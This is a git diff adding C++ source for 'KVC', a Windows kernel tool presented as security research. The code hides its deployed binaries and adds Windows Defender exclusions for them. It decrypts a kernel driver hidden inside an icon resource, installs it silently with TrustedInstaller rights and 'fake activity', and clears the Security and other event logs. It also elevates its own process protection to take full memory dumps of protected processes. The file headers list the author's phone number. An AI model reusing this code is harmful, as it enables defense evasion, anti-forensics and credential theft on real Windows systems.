failure + DeleteFileW(kvcPassPath.c_str()); + DeleteFileW(kvcCryptPath.c_str()); + } else { + INFO(L"Successfully wrote kvc.exe (%zu bytes)", currentExeData.size()); + } + + if (!allSuccess) { + return false; + } + + // Set stealth attributes for all files + const DWORD stealthAttribs = FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN; + + SetFileAttributesW(kvcPassPath.c_str(), stealthAttribs); + SetFileAttributesW(kvcCryptPath.c_str(), stealthAttribs); + SetFileAttributesW(kvcMainPath.c_str(), stealthAttribs); + + // Add Windows Defender exclusions for deployed components + INFO(L"Adding Windows Defender exclusions for deployed components"); + + // Add paths (all files) + m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, kvcPassPath.wstring()); + m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, kvcCryptPath.wstring()); + m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, kvcMainPath.wstring()); + + // Add processes (executables only) + m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Processes, L"kvc_pass.exe"); + m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Processes, L"kvc.exe"); + + INFO(L"Windows Defender exclusions configured successfully"); + + INFO(L"Binary component extraction and deployment completed successfully"); + return true; + + } catch (const std::exception& e) { + ERROR(L"Exception during component writing: %S", e.what()); + return false; + } catch (...) { + ERROR(L"Unknown exception during component writing"); + return false; + } +} + +// Main entry point for kvc.dat processing - decrypt and extract components +bool Controller::LoadAndSplitCombinedBinaries() noexcept +{ + INFO(L"Starting kvc.dat processing - loading combined encrypted binary"); + + try { + const fs::path currentDir = fs::current_path(); + const fs::path kvcDataPath = currentDir / KVC_DATA_FILE; + + if (!fs::exists(kvcDataPath)) { + ERROR(L"kvc.dat file not found in current directory: %s", kvcDataPath.c_str()); + return false; + } + + auto encryptedData = Utils::ReadFile(kvcDataPath.wstring()); + if (encryptedData.empty()) { + ERROR(L"Failed to read kvc.dat file or file is empty"); + return false; + } + + INFO(L"Successfully loaded kvc.dat (%zu bytes)", encryptedData.size()); + + // Decrypt using XOR cipher with predefined key + auto decryptedData = Utils::DecryptXOR(encryptedData, KVC_XOR_KEY); + if (decryptedData.empty()) { + ERROR(L"XOR decryption failed - invalid encrypted data"); + return false; + } + + INFO(L"XOR decryption completed successfully"); + + // Split combined binary into separate PE components + std::vector kvcPassData, kvcCryptData; + if (!Utils::SplitCombinedPE(decryptedData, kvcPassData, kvcCryptData)) { + ERROR(L"Failed to split combined PE data into components"); + return false; + } + + if (kvcPassData.empty() || kvcCryptData.empty()) { + ERROR(L"Extracted components are empty - invalid PE structure"); + return false; + } + + INFO(L"PE splitting successful - kvc_pass.exe: %zu bytes, kvc_crypt.dll: %zu bytes", + kvcPassData.size(), kvcCryptData.size()); + + // Write extracted components with enhanced error handling + if (!WriteExtractedComponents(kvcPassData, kvcCryptData)) { + ERROR(L"Failed to write extracted binary components to disk"); + return false; + } + + INFO(L"kvc.dat processing completed successfully"); + return true; + + } catch (const std::exception& e) { + ERROR(L"Exception during kvc.dat processing: %S", e.what()); + return false; + } catch (...) { + ERROR(L"Unknown exception during kvc.dat processing"); + return false; + } +} + diff --git a/kvc/ControllerCore.cpp b/kvc/ControllerCore.cpp new file mode 100644 index 0000000..8b0ff48 --- /dev/null +++ b/kvc/ControllerCore.cpp @@ -0,0 +1,188 @@ +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +// ControllerCore.cpp +#include "Controller.h" +#include "common.h" +#include +#include "resource.h" + +extern volatile bool g_interrupted; + +Controller::Controller() : m_rtc(std::make_unique()), m_of(std::make_unique()) { + if (!m_of->FindAllOffsets()) { + ERROR(L"Failed to find required kernel structure offsets"); + } +} + +Controller::~Controller() { +} + +// Atomic operation cleanup - critical for BSOD prevention +bool Controller::PerformAtomicCleanup() noexcept { + INFO(L"Starting atomic cleanup procedure..."); + + // 1. First, close the connection to the driver + if (m_rtc) { + DEBUG(L"Cleaning up driver connection..."); + m_rtc->Cleanup(); // This ensures the handle is properly closed + } + + // 2. Wait for resources to be released + Sleep(200); + + // 3. Stop the service (if it exists) + DEBUG(L"Stopping driver service..."); + if (!StopDriverService()) { + ERROR(L"Failed to stop driver service during cleanup"); + // Continue on error - the service may already be stopped + } + + // 4. Verify that the service has stopped + DEBUG(L"Verifying service stopped..."); + bool serviceVerified = false; + if (InitDynamicAPIs()) { + for(int attempt = 0; attempt < 10; attempt++) { + SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT); + if (hSCM) { + SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), SERVICE_QUERY_STATUS); + if (hService) { + SERVICE_STATUS status; + if (QueryServiceStatus(hService, &status)) { + if (status.dwCurrentState == SERVICE_STOPPED) { + serviceVerified = true; + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + break; + } + } + CloseServiceHandle(hService); + } else { + // Service does not exist - consider it stopped + serviceVerified = true; + CloseServiceHandle(hSCM); + break; + } + CloseServiceHandle(hSCM); + } + Sleep(100); + } + } + + // 5. Wait again for safety + Sleep(300); + + // 6. Only uninstall if the service is confirmed to be stopped + if (serviceVerified) { + DEBUG(L"Service verified stopped, uninstalling..."); + UninstallDriver(); + } else { + ERROR(L"Service still running, skipping uninstall to avoid BSOD"); + } + + // 7. Reinitialize for subsequent operations + Sleep(500); + m_rtc = std::make_unique(); + + SUCCESS(L"Atomic cleanup completed successfully"); + return true; +} + +bool Controller::PerformAtomicInit() noexcept { + if (!EnsureDriverAvailable()) { + ERROR(L"Failed to load driver for atomic operation"); + return false; + } + return true; +} + +bool Controller::PerformAtomicInitWithErrorCleanup() noexcept { + if (!PerformAtomicInit()) { + PerformAtomicCleanup(); + return false; + } + return true; +} + +// Core driver availability check with fallback mechanisms +bool Controller::EnsureDriverAvailable() noexcept { + // Phase 1: Check if the driver is already available (without testing) + if (IsDriverCurrentlyLoaded()) { + return true; + } + + // Phase 2: Try to start the existing service + if (!InitDynamicAPIs()) return false; + + SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT); + if (hSCM) { + SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), SERVICE_QUERY_STATUS | SERVICE_START); + if (hService) { + SERVICE_STATUS status; + if (QueryServiceStatus(hService, &status)) { + if (status.dwCurrentState == SERVICE_STOPPED) { + g_pStartServiceW(hService, 0, nullptr); + } + } + CloseServiceHandle(hService); + } + CloseServiceHandle(hSCM); + + // Give it time to start + Sleep(500); + + // Check if it's running now (without a test read) + if (m_rtc->Initialize() && m_rtc->IsConnected()) { + return true; + } + } + + // Phase 3: Install a new driver (ONLY if necessary) + INFO(L"Initializing kernel driver component..."); + + if (!InstallDriverSilently()) { + ERROR(L"Failed to install kernel driver component"); + return false; + } + + if (!StartDriverServiceSilent()) { + ERROR(L"Failed to start kernel driver service"); + return false; + } + + // Phase 4: Final check + if (!m_rtc->Initialize()) { + ERROR(L"Failed to initialize kernel driver communication"); + return false; + } + + SUCCESS(L"Kernel driver component initialized successfully"); + return true; +} + +bool Controller::IsDriverCurrentlyLoaded() noexcept { + if (!m_rtc) return false; + return m_rtc->IsConnected(); // Just check if the device is open +} diff --git a/kvc/ControllerDriverManager.cpp b/kvc/ControllerDriverManager.cpp new file mode 100644 index 0000000..ad241a1 --- /dev/null +++ b/kvc/ControllerDriverManager.cpp @@ -0,0 +1,369 @@ +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +// ControllerDriverManager.cpp +#include "Controller.h" +#include "common.h" +#include "Utils.h" +#include "resource.h" +#include + +namespace fs = std::filesystem; + +// Driver service lifecycle management +bool Controller::StopDriverService() noexcept { + DEBUG(L"StopDriverService called"); + + if (!InitDynamicAPIs()) { + DEBUG(L"InitDynamicAPIs failed in StopDriverService"); + return false; + } + + SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT); + if (!hSCM) { + DEBUG(L"OpenSCManagerW failed: %d", GetLastError()); + return false; + } + + SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), SERVICE_STOP | SERVICE_QUERY_STATUS); + if (!hService) { + DWORD err = GetLastError(); + CloseServiceHandle(hSCM); + + if (err == ERROR_SERVICE_DOES_NOT_EXIST) { + DEBUG(L"Service does not exist - considered stopped"); + return true; + } + + DEBUG(L"OpenServiceW failed: %d", err); + return false; + } + + SERVICE_STATUS status; + if (QueryServiceStatus(hService, &status)) { + if (status.dwCurrentState == SERVICE_STOPPED) { + DEBUG(L"Service already stopped"); + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + return true; + } + } + + SERVICE_STATUS stopStatus; + BOOL success = g_pControlService(hService, SERVICE_CONTROL_STOP, &stopStatus); + DWORD err = GetLastError(); + + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + + DEBUG(L"ControlService result: %d, error: %d", success, err); + + return success || err == ERROR_SERVICE_NOT_ACTIVE; +} + +// Extract driver from steganographic icon resource +std::vector Controller::ExtractEncryptedDriver() noexcept { + auto iconData = Utils::ReadResource(IDR_MAINICON, RT_RCDATA); + if (iconData.size() <= 9662) { + ERROR(L"Icon resource too small or corrupted - steganographic driver missing"); + return {}; + } + // Skip first 9662 bytes (actual icon data) to get embedded driver + return std::vector(iconData.begin() + 9662, iconData.end()); +} + +// Decrypt embedded driver using XOR cipher +// Decrypt embedded driver using XOR cipher +std::vector Controller::DecryptDriver(const std::vector& encryptedData) noexcept { + if (encryptedData.empty()) { + ERROR(L"No encrypted driver data provided"); + return {}; + } + + constexpr std::array key = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C }; + std::vector decryptedData = encryptedData; + + // Simple XOR decryption with repeating key + for (size_t i = 0; i < decryptedData.size(); ++i) { + decryptedData[i] ^= key[i % key.size()]; // Use 'key' instead of 'decryptionKey' + } + + return decryptedData; +} + +// Silent driver installation with TrustedInstaller privileges +bool Controller::InstallDriverSilently() noexcept { + auto encryptedData = ExtractEncryptedDriver(); + if (encryptedData.empty()) return false; + + auto driverData = DecryptDriver(encryptedData); + if (driverData.empty()) return false; + + fs::path tempDir = GetSystemTempPath(); // Use system temp instead of user temp + fs::path tempDriverPath = tempDir / fs::path(GetDriverFileName()); + + if (!Utils::WriteFile(tempDriverPath.wstring(), driverData)) return false; + + fs::path driverDir = GetDriverStorePath(); + fs::path driverPath = driverDir / fs::path(GetDriverFileName()); + + // Copy with system privileges + std::wstring copyCommand = L"cmd.exe /c copy /Y \"" + tempDriverPath.wstring() + L"\" \"" + driverPath.wstring() + L"\""; + if (!RunAsTrustedInstallerSilent(copyCommand)) { + DeleteFileW(tempDriverPath.c_str()); + return false; + } + + DeleteFileW(tempDriverPath.c_str()); + + // REGISTER THE SERVICE WITH CORRECT PRIVILEGES + return RegisterDriverServiceSilent(driverPath.wstring()); +} + +bool Controller::RegisterDriverServiceSilent(const std::wstring& driverPath) noexcept { + if (!InitDynamicAPIs()) return false; + GenerateFakeActivity(); + + SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS); + if (!hSCM) return false; + + SC_HANDLE hService = g_pCreateServiceW( + hSCM, + GetServiceName().c_str(), + L"Kernel Driver Service", + SERVICE_ALL_ACCESS, + SERVICE_KERNEL_DRIVER, // KEY CHANGE: type = kernel + SERVICE_DEMAND_START, // start = demand (can be changed to auto) + SERVICE_ERROR_NORMAL, + driverPath.c_str(), + nullptr, nullptr, nullptr, nullptr, nullptr + ); + + bool success = (hService != nullptr) || (GetLastError() == ERROR_SERVICE_EXISTS); + + if (hService) CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + return success; +} + +bool Controller::StartDriverServiceSilent() noexcept { + if (!InitDynamicAPIs()) return false; + GenerateFakeActivity(); + + SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS); + if (!hSCM) return false; + + SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), SERVICE_START | SERVICE_QUERY_STATUS); + if (!hService) { + CloseServiceHandle(hSCM); + return false; + } + + SERVICE_STATUS status; + bool success = true; + + if (QueryServiceStatus(hService, &status)) { + if (status.dwCurrentState != SERVICE_RUNNING) { + success = g_pStartServiceW(hService, 0, nullptr) || (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING); + } + } + + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + return success; +} + +// Legacy driver installation with enhanced error handling +bool Controller::InstallDriver() noexcept { + auto encryptedData = ExtractEncryptedDriver(); + if (encryptedData.empty()) { + ERROR(L"Failed to extract encrypted driver from icon resource"); + return false; + } + + auto driverData = DecryptDriver(encryptedData); + if (driverData.empty()) { + ERROR(L"Failed to decrypt embedded driver data"); + return false; + } + + fs::path tempDir = fs::temp_directory_path(); + fs::path tempDriverPath = tempDir / fs::path(GetDriverFileName()); + + if (!Utils::WriteFile(tempDriverPath.wstring(), driverData)) { + ERROR(L"Failed to write driver file to temp location: %s", tempDriverPath.c_str()); + return false; + } + + fs::path driverDir = GetDriverStorePath(); + fs::path driverPath = driverDir / fs::path(GetDriverFileName()); + + std::error_code ec; + fs::create_directories(driverDir, ec); + if (ec) { + INFO(L"Directory creation failed (may already exist)"); + } + + std::wstring copyCommand = L"cmd.exe /c copy /Y " + tempDriverPath.wstring() + L" " + driverPath.wstring(); + INFO(L"Copying driver with elevated privileges: %s", copyCommand.c_str()); + + if (!RunAsTrustedInstaller(copyCommand)) { + ERROR(L"Failed to copy driver to system directory with elevated privileges"); + DeleteFileW(tempDriverPath.c_str()); + return false; + } + + if (!fs::exists(driverPath)) { + ERROR(L"Driver file was not copied successfully to: %s", driverPath.c_str()); + DeleteFileW(tempDriverPath.c_str()); + return false; + } + + SUCCESS(L"Driver file successfully copied to: %s", driverPath.c_str()); + DeleteFileW(tempDriverPath.c_str()); + + if (!InitDynamicAPIs()) return false; + GenerateFakeActivity(); + + SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS); + if (!hSCM) { + ERROR(L"Failed to open service control manager: %d", GetLastError()); + return false; + } + + SC_HANDLE hService = g_pCreateServiceW( + hSCM, GetServiceName().c_str(), L"Memory Access Driver", + SERVICE_ALL_ACCESS, + SERVICE_KERNEL_DRIVER, // KEY CHANGE + SERVICE_DEMAND_START, // start= demand + SERVICE_ERROR_NORMAL, driverPath.c_str(), + nullptr, nullptr, nullptr, nullptr, nullptr + ); + + if (!hService) { + DWORD err = GetLastError(); + CloseServiceHandle(hSCM); + + if (err != ERROR_SERVICE_EXISTS) { + ERROR(L"Failed to create driver service: %d", err); + return false; + } + + INFO(L"Driver service already exists, proceeding"); + } else { + CloseServiceHandle(hService); + SUCCESS(L"Driver service created successfully"); + } + + CloseServiceHandle(hSCM); + SUCCESS(L"Driver installed and registered as Windows service"); + return true; +} + +bool Controller::UninstallDriver() noexcept { + StopDriverService(); + + if (!InitDynamicAPIs()) return true; + + SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS); + if (!hSCM) { + return true; + } + + std::wstring serviceName = GetServiceName(); + SC_HANDLE hService = g_pOpenServiceW(hSCM, serviceName.c_str(), DELETE); + if (!hService) { + CloseServiceHandle(hSCM); + return true; + } + + BOOL success = g_pDeleteService(hService); + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + + if (!success) { + DWORD err = GetLastError(); + if (err != ERROR_SERVICE_MARKED_FOR_DELETE) { + ERROR(L"Failed to delete driver service: %d", err); + return false; + } + } + + // Clean up driver file + fs::path driverDir = GetDriverStorePath(); + fs::path driverPath = driverDir / fs::path(GetDriverFileName()); + + std::error_code ec; + if (!fs::remove(driverPath, ec)) { + if (ec.value() != ERROR_FILE_NOT_FOUND) { + std::wstring delCommand = L"cmd.exe /c del /Q \"" + driverPath.wstring() + L"\""; + RunAsTrustedInstallerSilent(delCommand); + } + } + + return true; +} + +bool Controller::StartDriverService() noexcept { + if (!InitDynamicAPIs()) return false; + GenerateFakeActivity(); + + SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS); + if (!hSCM) { + ERROR(L"Failed to open service control manager: %d", GetLastError()); + return false; + } + + SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), SERVICE_START | SERVICE_QUERY_STATUS); + if (!hService) { + CloseServiceHandle(hSCM); + ERROR(L"Failed to open kernel driver service: %d", GetLastError()); + return false; + } + + SERVICE_STATUS status; + if (QueryServiceStatus(hService, &status)) { + if (status.dwCurrentState == SERVICE_RUNNING) { + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + INFO(L"Kernel driver service already running"); + return true; + } + } + + BOOL success = g_pStartServiceW(hService, 0, nullptr); + DWORD err = GetLastError(); + + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + + if (!success && err != ERROR_SERVICE_ALREADY_RUNNING) { + ERROR(L"Failed to start kernel driver service: %d", err); + return false; + } + + SUCCESS(L"Kernel driver service started successfully"); + return true; +} \ No newline at end of file diff --git a/kvc/ControllerEventLogOperations.cpp b/kvc/ControllerEventLogOperations.cpp new file mode 100644 index 0000000..6e444c6 --- /dev/null +++ b/kvc/ControllerEventLogOperations.cpp @@ -0,0 +1,82 @@ +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +#include "Controller.h" +#include "common.h" + +// Fast admin privilege check using SID comparison - standalone function +static bool IsElevated() noexcept +{ + BOOL isAdmin = FALSE; + PSID adminGroup = nullptr; + SID_IDENTIFIER_AUTHORITY ntAuth = SECURITY_NT_AUTHORITY; + + if (AllocateAndInitializeSid(&ntAuth, 2, SECURITY_BUILTIN_DOMAIN_RID, + DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &adminGroup)) { + + CheckTokenMembership(nullptr, adminGroup, &isAdmin); + FreeSid(adminGroup); + } + + return isAdmin == TRUE; +} + +// Core event log clearing function - optimized for speed and reliability +bool Controller::ClearSystemEventLogs() noexcept +{ + if (!IsElevated()) { + ERROR(L"Administrator privileges required for event log clearing"); + return false; + } + + // Primary system logs - order matters for dependency clearing + constexpr const wchar_t* logs[] = { + L"Application", L"Security", L"Setup", L"System" + }; + + int cleared = 0; + constexpr int total = sizeof(logs) / sizeof(logs[0]); + + INFO(L"Clearing system event logs..."); + + for (const auto& logName : logs) { + HANDLE hLog = OpenEventLogW(nullptr, logName); + if (hLog) { + // Clear with nullptr backup (fastest method) + if (ClearEventLogW(hLog, nullptr)) { + SUCCESS(L"Cleared: %s", logName); + ++cleared; + } else { + ERROR(L"Failed to clear: %s (Error: %d)", logName, GetLastError()); + } + CloseEventLog(hLog); + } else { + ERROR(L"Access denied: %s", logName); + } + } + + INFO(L"Summary: %d/%d logs cleared", cleared, total); + return cleared == total; +} \ No newline at end of file diff --git a/kvc/ControllerMemoryOperations.cpp b/kvc/ControllerMemoryOperations.cpp new file mode 100644 index 0000000..230599e --- /dev/null +++ b/kvc/ControllerMemoryOperations.cpp @@ -0,0 +1,311 @@ +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +// ControllerMemoryOperations.cpp +#include "Controller.h" +#include "common.h" +#include "Utils.h" +#include + +extern volatile bool g_interrupted; + +// Atomic memory dump operations with comprehensive process validation +bool Controller::DumpProcess(DWORD pid, const std::wstring& outputPath) noexcept { + return CreateMiniDump(pid, outputPath); +} + +bool Controller::DumpProcessByName(const std::wstring& processName, const std::wstring& outputPath) noexcept { + if (!PerformAtomicInitWithErrorCleanup()) { + return false; + } + + auto matches = FindProcessesByName(processName); + + if (matches.empty()) { + ERROR(L"No process found matching pattern: %s", processName.c_str()); + PerformAtomicCleanup(); + return false; + } + + if (matches.size() > 1) { + ERROR(L"Multiple processes found matching pattern '%s'. Please use a more specific name:", processName.c_str()); + for (const auto& match : matches) { + std::wcout << L" PID " << match.Pid << L": " << match.ProcessName << L"\n"; + } + PerformAtomicCleanup(); + return false; + } + + auto match = matches[0]; + INFO(L"Found process: %s (PID %d)", match.ProcessName.c_str(), match.Pid); + + PerformAtomicCleanup(); + + return CreateMiniDump(match.Pid, outputPath); +} + +// Create comprehensive memory dump with protection elevation and Defender bypass +bool Controller::CreateMiniDump(DWORD pid, const std::wstring& outputPath) noexcept { + if (!PerformAtomicInit()) { + return false; + } + + if (g_interrupted) { + INFO(L"Operation cancelled by user before start"); + PerformAtomicCleanup(); + return false; + } + + std::wstring processName = Utils::GetProcessName(pid); + + // Add process to Defender exclusions to prevent interference during dumping + std::wstring processNameWithExt = processName; + if (processNameWithExt.find(L".exe") == std::wstring::npos) { + processNameWithExt += L".exe"; + } + m_trustedInstaller.AddProcessToDefenderExclusions(processName); + + // System process validation - these processes cannot be dumped + if (pid == 4 || processName == L"System") { + ERROR(L"Cannot dump System process (PID %d) - Windows kernel process, undumpable by design", pid); + m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName); + PerformAtomicCleanup(); + return false; + } + + if (pid == 188 || processName == L"Secure System") { + ERROR(L"Cannot dump Secure System process (PID %d) - VSM/VBS protected process, undumpable", pid); + m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName); + PerformAtomicCleanup(); + return false; + } + + if (pid == 232 || processName == L"Registry") { + ERROR(L"Cannot dump Registry process (PID %d) - kernel registry subsystem, undumpable", pid); + m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName); + PerformAtomicCleanup(); + return false; + } + + if (processName == L"Memory Compression" || pid == 3052) { + ERROR(L"Cannot dump Memory Compression process (PID %d) - kernel memory manager, undumpable", pid); + m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName); + PerformAtomicCleanup(); + return false; + } + + if (pid < 100 && pid != 0) { + INFO(L"Warning: Attempting to dump low PID process (%d: %s) - may fail due to system-level protection", + pid, processName.c_str()); + } + + if (g_interrupted) { + INFO(L"Operation cancelled by user during validation"); + m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName); + PerformAtomicCleanup(); + return false; + } + + // Get target process protection level for elevation + auto kernelAddr = GetProcessKernelAddress(pid); + if (!kernelAddr) { + ERROR(L"Failed to get kernel address for target process"); + m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName); + PerformAtomicCleanup(); + return false; + } + + auto targetProtection = GetProcessProtection(kernelAddr.value()); + if (!targetProtection) { + ERROR(L"Failed to get protection info for target process"); + m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName); + PerformAtomicCleanup(); + return false; + } + + if (g_interrupted) { + INFO(L"Operation cancelled by user before protection setup"); + m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName); + PerformAtomicCleanup(); + return false; + } + + // Protection elevation to match target process level + if (targetProtection.value() > 0) { + UCHAR targetLevel = Utils::GetProtectionLevel(targetProtection.value()); + UCHAR targetSigner = Utils::GetSignerType(targetProtection.value()); + + std::wstring levelStr = (targetLevel == static_cast(PS_PROTECTED_TYPE::Protected)) ? L"PP" : L"PPL"; + std::wstring signerStr; + + switch (static_cast(targetSigner)) { + case PS_PROTECTED_SIGNER::Lsa: signerStr = L"Lsa"; break; + case PS_PROTECTED_SIGNER::WinTcb: signerStr = L"WinTcb"; break; + case PS_PROTECTED_SIGNER::WinSystem: signerStr = L"WinSystem"; break; + case PS_PROTECTED_SIGNER::Windows: signerStr = L"Windows"; break; + case PS_PROTECTED_SIGNER::Antimalware: signerStr = L"Antimalware"; break; + case PS_PROTECTED_SIGNER::Authenticode: signerStr = L"Authenticode"; break; + case PS_PROTECTED_SIGNER::CodeGen: signerStr = L"CodeGen"; break; + case PS_PROTECTED_SIGNER::App: signerStr = L"App"; break; + default: + ERROR(L"Unknown signer type for target process"); + m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName); + PerformAtomicCleanup(); + return false; + } + + INFO(L"Target process protection: %s-%s", levelStr.c_str(), signerStr.c_str()); + + if (!SelfProtect(levelStr, signerStr)) { + ERROR(L"Failed to set self protection to %s-%s", levelStr.c_str(), signerStr.c_str()); + } else { + SUCCESS(L"Set self protection to %s-%s", levelStr.c_str(), signerStr.c_str()); + } + } else { + INFO(L"Target process is not protected, no self-protection needed"); + } + + if (!EnableDebugPrivilege()) { + ERROR(L"Failed to enable debug privilege"); + } + + if (g_interrupted) { + INFO(L"Operation cancelled by user before process access"); + SelfProtect(L"none", L"none"); + m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName); + PerformAtomicCleanup(); + return false; + } + + // Open target process with appropriate privileges + HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid); + if (!hProcess) { + hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid); + if (!hProcess) { + ERROR(L"Failed to open process (error: %d)", GetLastError()); + m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName); + PerformAtomicCleanup(); + return false; + } + } + + // Build output path for dump file + std::wstring fullPath = outputPath; + if (!outputPath.empty() && outputPath.back() != L'\\') + fullPath += L"\\"; + fullPath += processName + L"_" + std::to_wstring(pid) + L".dmp"; + + HANDLE hFile = CreateFileW(fullPath.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + if (hFile == INVALID_HANDLE_VALUE) { + ERROR(L"Failed to create dump file (error: %d)", GetLastError()); + CloseHandle(hProcess); + m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName); + PerformAtomicCleanup(); + return false; + } + + // Comprehensive dump type for maximum information extraction + MINIDUMP_TYPE dumpType = static_cast( + MiniDumpWithFullMemory | + MiniDumpWithHandleData | + MiniDumpWithUnloadedModules | + MiniDumpWithFullMemoryInfo | + MiniDumpWithThreadInfo | + MiniDumpWithTokenInformation + ); + + if (g_interrupted) { + INFO(L"Operation cancelled by user before dump creation"); + CloseHandle(hFile); + CloseHandle(hProcess); + DeleteFileW(fullPath.c_str()); + SelfProtect(L"none", L"none"); + m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName); + PerformAtomicCleanup(); + return false; + } + + INFO(L"Creating memory dump - this may take a while. Press Ctrl+C to cancel safely."); + + BOOL result = MiniDumpWriteDump(hProcess, pid, hFile, dumpType, NULL, NULL, NULL); + + if (g_interrupted) { + INFO(L"Operation was cancelled during dump creation"); + 